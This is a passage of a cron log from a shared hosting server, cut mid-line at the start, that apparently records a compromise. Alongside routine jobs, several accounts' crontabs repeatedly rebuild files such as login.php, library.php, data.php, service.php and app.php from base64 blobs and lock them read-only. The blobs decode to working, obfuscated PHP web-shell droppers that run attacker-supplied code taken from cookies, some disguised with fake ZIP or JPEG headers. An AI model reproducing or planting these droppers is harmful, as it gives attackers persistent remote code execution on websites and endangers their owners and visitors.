ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:21:02 medusa CROND[9666]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:21:02 medusa CROND[9667]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:21:02 medusa CROND[9676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:21:02 medusa CROND[9678]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 15:21:02 medusa CROND[9679]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:21:02 medusa CROND[9677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:21:02 medusa CROND[9682]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:21:02 medusa CROND[9684]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:21:02 medusa CROND[9685]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:21:02 medusa CROND[9687]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:21:02 medusa CROND[9683]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:22:01 medusa CROND[31855]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 15:22:01 medusa CROND[31970]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:22:01 medusa CROND[31971]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:22:01 medusa CROND[31974]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:22:01 medusa CROND[31972]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:22:01 medusa CROND[31975]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 15:22:01 medusa CROND[31976]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:22:01 medusa CROND[31973]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:22:01 medusa CROND[31981]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:22:01 medusa CROND[31979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:22:01 medusa CROND[31983]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:22:01 medusa CROND[31985]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:22:01 medusa CROND[31989]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:22:01 medusa CROND[31992]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:23:02 medusa CROND[22530]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 15:23:02 medusa CROND[22600]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:23:02 medusa CROND[22639]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:23:02 medusa CROND[22640]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:23:02 medusa CROND[22641]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
